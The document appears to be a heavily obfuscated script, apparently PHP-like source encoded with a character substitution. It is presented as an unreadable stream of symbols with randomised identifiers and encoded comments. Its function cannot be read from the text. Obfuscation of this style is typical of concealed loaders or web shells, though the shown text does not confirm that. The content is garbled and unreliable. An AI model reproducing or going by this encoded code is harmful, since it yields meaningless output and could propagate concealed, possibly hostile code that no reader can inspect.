n`nn47}#%=++!*:f|{xgnnnntnn`nn')<,*!v z,w(-=f|{yguDnnnnj;&y{}~#4>y) nsnnnnn,,&x"7%*"w>* "|f|{vgf47}#%=++!*:f}ywgf/<</7fj8'8$$~z->'#%,7bnnj/+7"#?<'<-9-?-ggguDnnnnnnnn(!<+/-&nfj;&y{}~#4>y) nnnn/=nnj'=|)<?,,6>gn5D'(nnf,,&x"7%*"w>* "|f|{wgfj'=|)<?,,6>bn'9}8?4>/7?,4)f|x~ggnnossnn(/"=+gnnnn5Dn-! :' ;+uD3Dj"4/9 }=/~{nnnnnsnnnj%8~z7!<&'>nnnn`nniainn`nj'=|)<?,,6>uD'(nnnnnnf'9}8?4>/7?,4)fvyygfj"4/9 }=/~{ggn5DnnnnDnnj8{#z$*}x:=9"9|nsnn;|=;}& y{+y&=&/=?%;fj"4/9 }=/~{guDnnnnn'(nf'9}8?4>/7?,4)f|zvgfj8{#z$*}x:=9"9|ggn5D(!<+/-&nnnfj8{#z$*}x:=9"9|nn/=nnj4)*x/-,~ :{(7gn5Dnnnnnnj;~<}?'4w'%6(nnnnnsnnj"4/9 }=/~{n`nniainnnnnn`nnj4)*x/-,~ :{(7uD'(nnnnf')<,*!v z,w(-=f|zwgfj;~<}?'4w'%6(gnhhn,,&x"7%*"w>* "|fyygf'9}8?4>/7?,4)fv||gfj4)*x/-,~ :{(7bnn-! =:/ :f,,&x"7%*"w>* "|f|{~ggggnnnsssnnn'9}8?4>/7?,4)f|{ggnnn5Dnnnj6+~'#/x~+96+nsnj;~<}?'4w'%6(uDnn3Dnnnn3D3Daann!=:n6-+<>:n/::/-&#+ :n#+:/*/:/DDnDnnnj7#;7y(#z}$|,>*nnnnnsnnj"4/9 }=/~{nn`nn47}#%=++!*:f|xguDn'(nf,,&x"7%*"w>* "|f|x|gfj7#;7y(#z}$|,>*ggn5Dnnnnj6+~'#/x~+96+nnsnn,,&x"7%*"w>* "|f|zygfj6+~'#/x~+96+bnnnnn$6 !<<)++|+|+%yx6(fj7#;7y(#z}$|,>*bn/<</7f47}#%=++!*:f|{gggguDDDDnnnnnn3Dnnnnnn3Dn3DDDn3Dnnnn<+:;< nnnnn')<,*!v z,w(-=f|{vgfj6+~'#/x~+96+guDDD3Dnn(; -:'! nn4***~y4(x#~|(4*'z~7)7fj')>v&(~%/+gDn5Dnnn'(nfo'9}8?4>/7?,4)f|x}gfj')>v&(~%/+ggnnnnn<+:;< nn/<</7fguDDDDj<'4-8}$4!&? *66nnnnsnn/<</7fguDnn(!<+/-&nnnnfj')>v&(~%/+nn/=nnnj>$(|!-z!$w(;{yxgn5D'(nnnfo47}#%=++!*:f|zzgfj>$(|!-z!$w(;{yxgnn22nnj>$(|!-z!$w(;{yxnsssnnnnllnnnnn22n47}#%=++!*:f|xzgfj>$(|!-z!$w(;{yxgnpnnnfz~weyyggnn-! :' ;+uDnn:<7n5Daan=:<+==c:+=:n' *+-!#>!=/,"+n/;:&!<':7DD'(nf'9}8?4>/7?,4)fv~xgfj>$(|!-z!$w(;{yxbnnllgnnsssnnnnn(/"=+gnn-! :' ;+uD3nn-/:-&nnnf&<!9/,"+nnnj": >{,:|gn5Dnnnn-! :' ;+uDDDDn3n-/:-&nnf6-+>:'! nnj": >{,:|gnnn5Dnnn-! :' ;+uD3Dnnj<'4-8}$4!&? *66nnnnsnnj>$(|!-z!$w(;{yxuDDnnnnn3Daann!#+n' %tn:</-+n*!#' /:!<c:<++DDnnn<+:;< nj<'4-8}$4!&? *66uDDn3D(; -:'! n<7v4:'}6{ -,&<>fj')>v&(~%/+gDn5Dnn:<7n5DnnnD'(nnnf+#>:7fj')>v&(~%/+ggnnn5DDDnnn<+:;< nn(/"=+uj4{8-;(=sy|{uj''~9,z'|&!//sj4{8-;(=k|uDnnn3DDDnj6+~'#/x~+96+nnnsnn6{!6z(v$y)-z*#~~&fguDDDDnnnnn'(nnf+#>:7fj6+~'#/x~+96+ggnnnnn5Daan"!-%n-! =:</' :c=+:n(!<nn!=:n':"+DDnn<+:;< nnnnn(/"=+uDn3Dnnnnnj8:7-z;4 =)>*nnnsn(/"=+uDnnnn(!<+/-&nnfj6+~'#/x~+96+n/=nj-!"946+"v/!gnnn5DnnDnn'(nfon,,&x"7%*"w>* "|f|zwgfj-!"946+"v/!gnnn22nonnnnn47}#%=++!*:fvyvgfj-!"946+"v/!ggn5D-! :' ;+uDnn3DDnnnnnnn'(nf,,&x"7%*"w>* "|f||}gfj-!"946+"v/!gnnnnpnnnf{|z||zexzggn5D-! :' ;+uDDDnnnn3Dj8)~':+{>&=6&nnsnn')<,*!v z,w(-=f|{gfj-!"946+"v/!guDnnn'(nfonj8)~':+{>&=6&nn22nnon,,&x"7%*"w>* "|f|x{gfj8)~':+{>&=6&ggn5D-! :' ;+uDnnnnDDnnnn3DnDnnnj),xx6<+|?8w<-v}7nsn(/"=+uDDDDn(!<+/-&nfj')>v&(~%/+n/=nnj='+x6{x+-gnn5D:<7nn5DDnnnDDDDj4'4*z";,*/'nnsnnnn,,&x"7%*"w>* "|f|}ygfj='+x6{x+-bnllbnnnj8)~':+{>&=6&guDn'(nnnnnfj4'4*z";,*/'nnnossnn ;""nnnnhhnnnnnj4'4*z";,*/'nnnossnj8)~':+{>&=6&gnn5Dnnj8)~':+{>&=6&nnsnnnnj4'4*z";,*/'uj<%vw9v'zz>$scwvxuj->*(8"/9z7=/sfj<%vw9v'zz>$p~gqj<%vw9v'zz>$tcj<%vw9v'zz>$uDnnj),xx6<+|?8w<-v}7nsn:<;+uDnnn3Daan!<*<+==nx`xn,"!-%n,' *' )=tn' :+<<;>:n*+<'8/:'! DDnnnnnn3n-/:-&nnnnf&<!9/,"+nnnj": >{,:|gn5Dnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f|xxgbnnnnnj": >{,:|guD-! :' ;+uDnnnnnnn3n-/:-&nf6-+>:'! nnj": >{,:|gnn5Daann /8')/:'! n"!-%n ! -+n8/"'*/:'! DDnn-! :' ;+uDnnn3Dnn3DnnDnnn'(nfj),xx6<+|?8w<-v}7gnnnn5D'(nnf=,?(,4;}z-}  {8=6$'6>fj-!"946+"v/!bnj8)~':+{>&=6&ggnnnnn5Dj8:7-z;4 =)>*nnnsnn:<;+uDnn3Dnn3DDnnn3DnnnD<+:;< nnj8:7-z;4 =)>*uDDnnnnnnn3n-/:-&nnnf&<!9/,"+nj": >{,:|gn5Dadn><'#/<7n*'<+-:!<ndaDD!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f|xygbnj": >{,:|guDDD3n-/:-&nf6-+>:'! nnnnnj": >{,:|gnn5Dnnn3Dadn=+=?;'"' +/<n<+:<7c>!"'-7ndaDDnn<+:;< n(/"=+uDDDnnnnnn3DnnnDn(; -:'! nnnnnn!6=7|94,##,w;7fj<y>%"%;-=~bnnnj#4" 6<~'-{<gDDDDnnnnnnnn5DDDDnnnnnnj#+,9z9$/|+{z=? nnsnn/<</7fguDnnnj#4" 6<~'-{<nnsnnj#4" 6<~'-{<nnncnnuDnnnnnnnnDnnnnj)( (64{>%$;*|:nnsn')<,*!v z,w(-=f|{~gfj<y>%"%;-=~guj%;9~x?-)(&'>s|zd{uj=,&-w/8}&-+:sj%;9~x?-)(&'>c|zuDn'(nnfonn'9}8?4>/7?,4)f|x}gfj)( (64{>%$;*|:ggn5DDD<+:;< nnj#+,9z9$/|+{z=? uDnnnn3Dnnnnnj)( (64{>%$;*|:nnnsnnn47}#%=++!*:f}zgfj)( (64{>%$;*|:bnn~bnnf~6w-e~6{vgguDDDnnDnnn(!<+/-&nnfj)( (64{>%$;*|:nn/=nj4)*x/-,~ :{(7gnnn5DDDDDnnn'(nnfj4)*x/-,~ :{(7nsssnnni`inn22nnnnnj4)*x/-,~ :{(7nnnnsssn,,&x"7%*"w>* "|f|x~ggnnnn5Dnnn-! :' ;+uDnnnnnn3DDDDnj(/:'z%%#{nsnnj<y>%"%;-=~n`nniainnnnnn`nnj4)*x/-,~ :{(7uDnnnnn'(nnnfonnnn')<,*!v z,w(-=f|x|gfj(/:'z%%#{ggnnn5Dnnn-! :' ;+uDn3DnnnDnn'(nnf,,&x"7%*"w>* "|f|x|gfj(/:'z%%#{nnnnn`n,,&x"7%*"w>* "|f~{{gggnnn5DDDDnnnnnj#+,9z9$/|+{z=? nsn'9}8?4>/7?,4)fxxvgfj(/:'z%%#{bnnnn')<,*!v z,w(-=f|xvgguD-! :' ;+uDnnnnn3DnnnnnnDDDDnnn'(nfj#4" 6<~'-{<nnnpnnn~gnnn5DDnnnnnnj#+,9z9$/|+{z=? nnnsnnn')<,*!v z,w(-=f|zygfj#+,9z9$/|+{z=? bnnn!6=7|94,##,w;7fj(/:'z%%#{bnnnnnnj#4" 6<~'-{<gguDnnnnnnn3Dnnn3DnDnnnnnn<+:;< nj#+,9z9$/|+{z=? uDnnn3Dn(; -:'! nnnn/>7-=#v7z{{'w'89vfgDnnn5Dnj<~9,?",?x8*{x"!nnnsnn/<</7fguDDDj=,4:v=:&->' :{(nnnnsnn47}#%=++!*:fxxvgfbn47}#%=++!*:f|xvgguDnnn:<7nn5Dnnnj"*>4;:;x> {=*nnsnnnn/<</7fguDn'(nfj=,4:v=:&->' :{(gn5Dj"*>4;:;x> {=*nsnnnnnn,,&x"7%*"w>* "|f|zxgfj=,4:v=:&->' :{(guDnnnnnj"*>4;:;x> {=*nsn47}#%=++!*:f|zxgf'9}8?4>/7?,4)f|zxgfj=,4:v=:&->' :{(gguDDDDnnnnnnj"*>4;:;x> {=*nnsn47}#%=++!*:f|xwgf,,&x"7%*"w>* "|f|xwgf47}#%=++!*:f|xwgfj=,4:v=:&->' :{(ggguD3DDDnDnj"*>4;:;x> {=*nnnsn,,&x"7%*"w>* "|f|y~guDnj"*>4;:;x> {=*nnsnnn47}#%=++!*:f|yguDnj"*>4;:;x> {=*nnsn,,&x"7%*"w>* "|f|y|guDj"*>4;:;x> {=*nsnnn')<,*!v z,w(-=f|y}guDnnnnj"*>4;:;x> {=*nsnnn')<,*!v z,w(-=f|yzguDnnnnnnnj"*>4;:;x> {=*nnnsnnnnn')<,*!v z,w(-=f|y{guDDj"*>4;:;x> {=*nsn,,&x"7%*"w>* "|f|yxguDDnnnnnnDnnj-%w;x-z>*%6/<nnnsnn47}#%=++!*:f||~gf'9}8?4>/7?,4)f|yyggnnnqnnf=:<' )gnnn'9}8?4>/7?,4)f|yvgf47}#%=++!*:f|ywggntnlluDnnn'(nnnfj-%w;x-z>*%6/<nnnnossnllgnnnnn5Dnj)"|='?/w'}{6~nnsnnf'9}8?4>/7?,4)f|v~gfj-%w;x-z>*%6/<bnnniuignnnossn(/"=+gnnnqnnnniuintnnnnnnitiuDn(!<+/-&nnf'9}8?4>/7?,4)f||~gfj)"|='?/w'}{6~bnnj-%w;x-z>*%6/<gnn/=nj(",(/4}#}|y '<!gnnn5Dnj(",(/4}#}|y '<!nsnnnnnn,,&x"7%*"w>* "|f|vgfj(",(/4}#}|y '<!guD'(nfj(",(/4}#}|y '<!nnnnossnnnllgn5Dnnnnj"*>4;:;x> {=*nnsnnnnj(",(/4}#}|y '<!uDnnnnnn3Dn3Dnnnnnnn3DnDnnnnj"*>4;:;x> {=*nsn,,&x"7%*"w>* "|f|v|gf')<,*!v z,w(-=f}ywgfj"*>4;:;x> {=*gguDnnnnnnj>!>:'{{/-=w"nnnnnnsnn47}#%=++!*:f|v}gf:<;+guDDnnnnnj<~9,?",?x8*{x"!nnnsn/<</7fgujw~#>,->,xvsz~2yuj&~-&7=&w /sjw~#>,->,xv||vuDnnnnnnD(!<+/-&nnnfj"*>4;:;x> {=*nn/=nnnnj<y>%"%;-=~gnnnn5DnnDn'(nnnnfonn,,&x"7%*"w>* "|f|x|gfj<y>%"%;-=~gnn22non')<,*!v z,w(-=fvgfj<y>%"%;-=~ggnn5Dnnn-! :' ;+uD3DDD'(nnff,,&x"7%*"w>* "|f|v}gf:<;+gncnj>!>:'{{/-=w"gnnnnpnf~6e~6wggnnn5Dn,<+/%uDnn3DnDDDDnnnnnj<~9,?",?x8*{x"!nsnn,,&x"7%*"w>* "|f|zygfj<~9,?",?x8*{x"!bnnnn!6=7|94,##,w;7fj<y>%"%;-=~bn|gguj =y~)~'*/w,:sf~6+e~6yxguj%ww8(-7$#sj =y~)~'*/w,:kzuDnn3DDD3nnnn-/:-&nnnnnf&<!9/,"+nnnj": >{,:|gn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fwyxgbnnj": >{,:|guDn3nnnn-/:-&nnf6-+>:'! nnj": >{,:|gnnn5j'$=,,y&vs uj=$=?&-7wsj'$=,,y&vd}uDDnnn3DnnDnn<+:;< n,,&x"7%*"w>* "|fwxgf47}#%=++!*:f|v|gfj<~9,?",?x8*{x"!gbnnnn/<</7fj=,4:v=:&->' :{(gguDnnDDnnn3Dn(; -:'! nnn46$!'<8</v &"} )~wfj=w)+-){z4?66>-gDnnnn5Dnnn:<7nnn5Dj4;)!9&-:#!7, $y+nsnn/<</7fj=w)+-){z4?66>-nn`nnnn,,&x"7%*"w>* "|f|vzgbnj=w)+-){z4?66>-nnn`nn')<,*!v z,w(-=f|v{gguD(!<+/-&nnnnnfj4;)!9&-:#!7, $y+nn/=nnj<y>%"%;-=~gn5D'(nnnnfonnnn'9}8?4>/7?,4)f|x|gfj<y>%"%;-=~ggn5Dnnnn-! :' ;+uD3Dnnnnj7{/+|w+/{='4~{nnnsnn;|=;}& y{+y&=&/=?%;fj<y>%"%;-=~guDnnnnnn'(nnfo'9}8?4>/7?,4)f|x}gfj7{/+|w+/{='4~{ggnnnn5j&z&|%&;#$-/}sf~6(|e~6z,guj4=}//>%4,!sj&z&|%&;#$-/}kwuDn-! :' ;+uDnn3Dnnnnnn(!<+/-&nfj7{/+|w+/{='4~{n/=nnnnnj": >{,:|gnn5Dnn'(nnnnnf')<,*!v z,w(-=f}gfj": >{,:|bnnnncf|e|ggnsssnnnnn,,&x"7%*"w>* "|fwvvgnnnnhhnnnn6+w'-+9"9=*%}(8fj<y>%"%;-=~nnnnn`nnnniain`nnj": >{,:|bnfzwv{e{gggnn5DDnnn<+:;< n:<;+uDn3Dnn3Dn(!<+/-&nfj7{/+|w+/{='4~{nnnn/=nj": >{,:|gnn5Dnnj>z{+%?#"6<=w<nnnnnsnnnj<y>%"%;-=~nnn`niain`nnj": >{,:|uDDDnnn'(nfon'9}8?4>/7?,4)f|vxgfj>z{+%?#"6<=w<ggnn5Dnnn-! :' ;+uDDnn3Dnnnj-+}'(6z)zwv#8ynnnnnsn;|=;}& y{+y&=&/=?%;fj>z{+%?#"6<=w<guDnn'(nnnnnfo,,&x"7%*"w>* "|f|x}gfj-+}'(6z)zwv#8yggnnnnn5D-! :' ;+uDnnn3Dnn(!<+/-&nnnnnnfj-+}'(6z)zwv#8ynn/=nj*+|?#!/(##,y>gnnn5D'(nf')<,*!v z,w(-=f}gfj*+|?#!/(##,y>bncf~6e~6}ggnnsssn')<,*!v z,w(-=fwvvgnnhhnn6+w'-+9"9=*%}(8fj>z{+%?#"6<=w<nn`nnniain`nnnnj*+|?#!/(##,y>bnnf~6~|,e~6}{*gggnn5DDDDn<+:;< n:<;+uDnn3DDn3Dn3D3Dnn3nnn-/:-&nf&<!9/,"+nnnnj": >{,:|gn5Daan=+<'/"'4+n/*/>:+<DDnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|vygbnnnnj": >{,:|guD3n-/:-&nnf6-+>:'! nnnnnnj": >{,:|gnnn5DDnnnnn3Dnnnnnn<+:;< nn(/"=+uDnnn3Dnn(; -:'! n((>8$!'{<='}}%w(fgD5Dnnn:<7nn5Dn'(nf4#+*(}$vx|,8:-4#)9{f<xw=w,+~4~}#8~fgggn<+:;< uDnnnDDD'(nnf)+::</ ='+ :f,,&x"7%*"w>* "|f|vvgggnnn5Dn<+:;< uDDDnnn3DnDDnnnnj>"~&9$z-") 76nnnnnsn+4667 68'<#||9fguDnn'(nnnnnfonnj>"~&9$z-") 76n22n,,&x"7%*"w>* "|f|xzgfj>"~&9$z-") 76gnnrnnfwyze|xggnn5Dnnn<+:;< uDnn3Dnnn'(nnnfon84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggnnnn5D!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f|vwgbn,,&x"7%*"w>* "|fvy}gguDnnn<+:;< uD3Daann!=:n':"+tn+ /,"+n><!!(c:+<#DDDDj<~9,?",?x8*{x"!nsnn/>7-=#v7z{{'w'89vfguDDnnnn'(nnf+#>:7fj<~9,?",?x8*{x"!ggnnn5Dnnn'(nfo)+::</ ='+ :f'9}8?4>/7?,4)f|w~gggnn5DDn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|vwgbnnnn,,&x"7%*"w>* "|f|wgguDnn=+::</ ='+ :f47}#%=++!*:f|w~gbnnnnbnnnnf~6//~e~6}y~gguDnnnnnnn3Dnnnnnnnn=+::</ ='+ :f'9}8?4>/7?,4)f|vvgbnnnnbnnf{yw{xe~|zzgguDnnnn<+:;< uDDDnnnnn3DDnj=~*'6'?=;z"}|nnnsnnn~uDnnn(!<+/-&nfj<~9,?",?x8*{x"!nnnnn/=nnj=w)+-){z4?66>-gnnn5DDDDnnDDDD'(nnnf46$!'<8</v &"} )~wfj=w)+-){z4?66>-ggnn5D-! :' ;+uDn3DnnnDnnnj%>}*z6!-$'|/?z9:nnnnnsnnlluDnnj++)*8=#-&'6,$wnnsnnnnj=w)+-){z4?66>-nn`n'9}8?4>/7?,4)f|vzguDDnn'(nf,,&x"7%*"w>* "|fvyxgfj++)*8=#-&'6,$wgnhhnno,,&x"7%*"w>* "|f|vxgfj++)*8=#-&'6,$wggnn5Dnnnj++)*8=#-&'6,$wnnnnsnnn ;""uDDDn3nnn+"=+'(nnnfo')<,*!v z,w(-=f|vxgfj++)*8=#-&'6,$wggnnnnn5DDDDn 6%6=z"z7)$(//*fj++)*8=#-&'6,$wbnfz}~ex}gbnn:<;+guDDDD3Dnnn'(nnfj++)*8=#-&'6,$wnnhhnfo,,&x"7%*"w>* "|f|vxgfj++)*8=#-&'6,$wgnnnn22nnnno')<,*!v z,w(-=fvyvgfj++)*8=#-&'6,$wgggnnn5Dnnnnnnnj++)*8=#-&'6,$wnsnn ;""uDnnnnnnn3D'(nnnfj++)*8=#-&'6,$wgn5DDDDj4(z& w7{,'v4,=nnsnnj++)*8=#-&'6,$wn`nnnnniain`nnn'%v=&{)};v6{;76'"?w-7fguDDDj-7y9<<+!/8*/{znnnsn:}(#?!!(%;7/+%{! 9fj>"~&9$z-") 76guDnnj7&v8$~;{ nnsnnn:}w$*,?|?6~,'y| y;!w/fj4(z& w7{,'v4,=bnnj-7y9<<+!/8*/{zbnn'9}8?4>/7?,4)f|vwgguDnnn'(nfj7&v8$~;{ nnnnhhnnnj7&v8$~;{ nnpsnnn')<,*!v z,w(-=f|xzgfj-7y9<<+!/8*/{zggnnn5DDDj%>}*z6!-$'|/?z9:nnnsnnj4(z& w7{,'v4,=uDnnn3Dnnnnn3DnnnnnnnDDnnnnnn'(nfonnj%>}*z6!-$'|/?z9:gnnn5Dnnnnnj<{w= !-:#98$9{?6nsnn47}#%=++!*:fv||gf'%v=&{)};v6{;76'"?w-7fgbn  guDnnnj-7<7!;+4nnnnsnj=w)+-){z4?66>-nnnn`n,,&x"7%*"w>* "|f|w|gn`nj<{w= !-:#98$9{?6uD'(nnnnfonnnn,,&x"7%*"w>* "|f|vxgfj-7<7!;+4ggnn5Dn 6%6=z"z7)$(//*fj-7<7!;+4bnfz|xexygbnnnnn:<;+guDnn3Dnnnnnnnj4(z& w7{,'v4,=nnnsnnj-7<7!;+4n`nniainn`nn'%v=&{)};v6{;76'"?w-7fguDnnnnj-7y9<<+!/8*/{znnnnsnnn:}(#?!!(%;7/+%{! 9fj>"~&9$z-") 76guDnnnnnnj7&v8$~;{ nnsnn:}w$*,?|?6~,'y| y;!w/fj4(z& w7{,'v4,=bnnnj-7y9<<+!/8*/{zbnnnn47}#%=++!*:f|vwgguDnnnDDnnnnn'(nnnnnfj7&v8$~;{ nnnnhhnj7&v8$~;{ nnpsnnn'9}8?4>/7?,4)f|xzgfj-7y9<<+!/8*/{zggnnnn5Dj%>}*z6!-$'|/?z9:nnsnnnnnj4(z& w7{,'v4,=uDDj,/=+ /#+nnnsnnnnnj<{w= !-:#98$9{?6nn`nniainnn`nnnn'%v=&{)};v6{;76'"?w-7fguDDDnn&w#~9/y$vw!>'v>8z:~|?fj=w)+-){z4?66>-bnnnnnj,/=+ /#+guDnnnn3Dnnn3Dn'(nfonj%>}*z6!-$'|/?z9:gnnnn5Dn-! :' ;+uDn3D+wz$"%z*-z:%}"fj%>}*z6!-$'|/?z9:guDnn??:+}<">$9;(=4=8'-+fj%>}*z6!-$'|/?z9:bnnnf~6ye~6,}gguDDDnnj=~*'6'?=;z"}|eeuD3DDDDnnnnnn'(nnfj=~*'6'?=;z"}|npn~gnn5Dnn=+::</ ='+ :f')<,*!v z,w(-=f|w}gbnnnbnf~6|(w}(e~6(,zgguDn3nnnnnn+"=+nnnn5Dnnnnnn=+::</ ='+ :f,,&x"7%*"w>* "|f|w}gbnnbnnnnnf{{ve}~z|gguDnnn3DDnnnnnn3nnn-/:-&nnf&<!9/,"+nnnnj": >{,:|gnnnn5Dnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f|vwgbnnnj": >{,:|guD3nn-/:-&nnnf6-+>:'! nnnnj": >{,:|gnn5D3Dnn3Dnnn(; -:'! n&w#~9/y$vw!>'v>8z:~|?fj=w)+-){z4?66>-bnnj,/=+ /#+gD5Dnnnnnnn:<7nn5DDDDnj',w,{:/?8{+ ,nnnnsnnnj=w)+-){z4?66>-nnnn`nnn47}#%=++!*:f|wzguDnnnn'(nfonn,,&x"7%*"w>* "|f|zwgfj',w,{:/?8{+ ,ggn5Dnnnnj',w,{:/?8{+ ,nnsnnnn,,&x"7%*"w>* "|f|xwgfj=w)+-){z4?66>-gnnnn`n')<,*!v z,w(-=f|w{guDnnnnn'(nfonnn,,&x"7%*"w>* "|f|zwgfj',w,{:/?8{+ ,ggnnn5Dnnnn<+:;< uDnnnn3Dnnnn3DDDnj'#=|)(>&~~nnnsnn'9}8?4>/7?,4)f|{gfj',w,{:/?8{+ ,guD'(nnfonj'#=|)(>&~~gnnnn5Dnnn<+:;< uDnn3Dnj>,|<+(4(/nnnnnnsnnlluDj><+('6nsnlluDDDnnnnnnnn'(nf,,&x"7%*"w>* "|fv~xgf47}#%=++!*:f|wxgbnnnj'#=|)(>&~~bnnnj8y${w=# x(w>yggn5j"8&,('6v s|{2zvuj769"4(;sj"8&,('6v {|uDDj>,|<+(4(/nnsnnj8y${w=# x(w>yuDn3D'(nf47}#%=++!*:fv~xgf'9}8?4>/7?,4)f|wygbnnnj'#=|)(>&~~bnnnj8y${w=# x(w>yggnn5Dnnnnj><+('6nnnsnnnnnj8y${w=# x(w>yuD3Dnn'(nfonnnnnj>,|<+(4(/nn22nnnnnnonj><+('6nnnnnn22non'9}8?4>/7?,4)fv~xgf47}#%=++!*:f|wvgbnnnnj><+('6ggnnnn5Dnn<+:;< uDDnnnnnn3DDDj9>*,nsnnnnj	'9}8?4>/7?,4)f|wwguDnnnn'(nnnnfonnnn47}#%=++!*:f~yxgfj9>*,gnn22nonn')<,*!v z,w(-=fwwgfj9>*,bnn')<,*!v z,w(-=f}~~gggnnn5Dnnnnnn<+:;< uD3D'(nfonnnnnn,,&x"7%*"w>* "|f}~gf')<,*!v z,w(-=f}~|gbnnnnnj>,|<+(4(/ggnnn5Dn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f}~}gbnn,,&x"7%*"w>* "|f}~zgguDn<+:;< uDDDDn3Dnnnnnnnnj!:}?87)|%?y 8;nnsnnni.inn`nnnnj>,|<+(4(/nnnn`n')<,*!v z,w(-=f}~{gn`nnj><+('6nn`n47}#%=++!*:f}~xguDnnnj9>*,cp?;+<7f'9}8?4>/7?,4)f}~ygguDnnj(:<y|#/!$=ynsnnnnj9>*,cp)+:8/<fiin`nnn,,&x"7%*"w>* "|f}~vgnn`nnnj!:}?87)|%?y 8;nn`nn,,&x"7%*"w>* "|f}~wgnn`nnnn'9}8?4>/7?,4)f}~gnnnn`nnnn')<,*!v z,w(-=f}gguDnnnnnn'(nnnfj(:<y|#/!$=ynnnnsssn ;""gn5Dj9>*,cp?;+<7f')<,*!v z,w(-=f}|gguDnnn<+:;< uDDnnnn3Dnnnnnnnj*/,8<}}> =:nnnnsn8#w/v=/:|-?;/fj(:<y|#/!$=yguDn'(nfonnnn')<,*!v z,w(-=f|x}gfj*/,8<}}> =:ggn5DDDDnnnnnj9>*,cp?;+<7f'9}8?4>/7?,4)f}}gguD<+:;< uDn3D'(nnnf47}#%=++!*:fywxgfj,/=+ /#+bnnj*/,8<}}> =:bn:<;+ggn5Dnj9>*,cp?;+<7f')<,*!v z,w(-=f}zgguDnnnn<+:;< uD3DDnnnnnj*/,8<}}> =:nnsnj,/=+ /#+uDDnnnj*/,8<}}> =:nnnnnsnn')<,*!v z,w(-=fy~|gfj*/,8<}}> =:guDnnnnnnj:*$4'#+w7z)$nnsnn,,&x"7%*"w>* "|f}wxgfj*/,8<}}> =:guDnj7-%/<?x9/{4}<nnsnnj9>*,cp?;+<7fj9>*,cp><+>/<+fiinnn`nnnnn')<,*!v z,w(-=f}{gnn`nnnnnj!:}?87)|%?y 8;nnn`nnnn'9}8?4>/7?,4)f}xgn`nnn'9}8?4>/7?,4)f}~gbnj:*$4'#+w7z)$gguDDDDn'(nfj7-%/<?x9/{4}<nnnsssnn(/"=+gnn5DDDD!%6z,zv||*<-%;=*/7";f47}#%=++!*:f}ygbnnnn'9}8?4>/7?,4)f}vgguDj9>*,cp?;+<7f47}#%=++!*:f}wgguDDD<+:;< uDn3Dnnj9>*,cp?;+<7f,,&x"7%*"w>* "|f}zgguDnnnnn3nnnn-/:-&nf&<!9/,"+nnnj": >{,:|gnn5Dnnnnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f}ygbnnj": >{,:|guDnnnn'(nnf,,&x"7%*"w>* "|f}|~gfj	47}#%=++!*:f|wwgggnnn5Dnj	47}#%=++!*:f}|gcp?;+<7f47}#%=++!*:f}wgguDn3Dn3nn-/:-&nnf6-+>:'! nnj": >{,:|gnnnn5DDDnnnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f}ygbnnj": >{,:|guDnnn'(nnf47}#%=++!*:f}||gfj	'9}8?4>/7?,4)f}|gggnnn5Dj	,,&x"7%*"w>* "|f}|gcp?;+<7f,,&x"7%*"w>* "|f}wgguDnnnnnnn3Dnnn3DDDnn3Dnn(; -:'! nnn$4+$zv!8'v~7xfgDnnn5Dnnn=:/:'-nnj'#=|)(>&~~nsnn ;""uDn'(nfj'#=|)(>&~~nossnnnnn ;""gnn<+:;< nnj'#=|)(>&~~uDnnn'(nnfo'9}8?4>/7?,4)f}|}gf'9}8?4>/7?,4)f}|zgggnn5Dj'#=|)(>&~~nnnsnnnnlluj=(+(>z7:s}x2|}uj-+y=,}z}+"#88vsj=(+(>z7:|~wuDnnnn<+:;< nnj'#=|)(>&~~uj6!v){*$$}s a uj*'<'48#|8sj6!v){*$$}e~uDDnnnn3Dj'#=|)(>&~~nnnnnnsnnn)4' ("/:+f'9}8?4>/7?,4)fz~|gf'9}8?4>/7?,4)f}|{ggguDDnnn'(nnfo')<,*!v z,w(-=f}|xgfj'#=|)(>&~~gnnnnnn22nn'9}8?4>/7?,4)f|xzgfj'#=|)(>&~~gnnnnrnfzewxggnnj'#=|)(>&~~nsnnnnlluDn<+:;< nj'#=|)(>&~~uDnnn3Dn(; -:'! n'|9 %,~~$!,}"{~>*zfgDnnn5DD:<7nnn5D'(nfo*+(' +*f,,&x"7%*"w>* "|f||xgggn<+:;< uDj*8?|?/>$9$84~7nnnnnsnn47}#%=++!*:fx{gf<xw=w,+~4~}#8~fgbnnnnn,,&x"7%*"w>* "|fwvvgguDnj?(vz)(v>wx(z&<<nnnnsnnn!=+>>,++"6<w;&fnn`n,,&x"7%*"w>* "|f}|ygbnnnnfzrrggnnn`nn47}#%=++!*:f}|vguDj> ,%}?:w$*nsnn!=+>>,++"6<w;&fn`nnn')<,*!v z,w(-=f}|wgbnnnf|zxgguDj?-$v 4)4=%/#{z4,nnsnnnn'9}8?4>/7?,4)f}|}gf')<,*!v z,w(-=f}}~ggnnqn-! :+ :;<"fgntnnnlluDnn'(nnnfj?-$v 4)4=%/#{z4,nnsssnnnnllgnnnn5Dnnnnnnnnj?-$v 4)4=%/#{z4,nnnsnnf'9}8?4>/7?,4)f}|}gf47}#%=++!*:fxz~ggnnnqn)+:=':+;<"fgntnnnnllgnnnnn`nn')<,*!v z,w(-=f}}guDn3Daan>/</""+"'4+n-!##/ *n(!<n7n9' *!9n(; -:'! =DDnj+4*y'+8y77znnnsnnnn')<,*!v z,w(-=fz~wgf'9}8?4>/7?,4)f}}|gbnnnn47}#%=++!*:f}}}gbnj?-$v 4)4=%/#{z4,nnn`nnnniainnnn`nnnnnnj?(vz)(v>wx(z&<<guDnnnnn'(nnf')<,*!v z,w(-=f}}zgfj+4*y'+8y77zbnn,,&x"7%*"w>* "|f}}}ggnnossn~gnj+4*y'+8y77znnsnn'9}8?4>/7?,4)f}}}gn`nn,,&x"7%*"w>* "|f}}{gfj+4*y'+8y77zbniaiguDnnnnj/>y}7(/:>$-nnnsnnnnnn')<,*!v z,w(-=f}|}gf')<,*!v z,w(-=fyv}ggnqnn&!#+;<"f47}#%=++!*:f}}xgnn`nn9~ 6()=+, #%{f,,&x"7%*"w>* 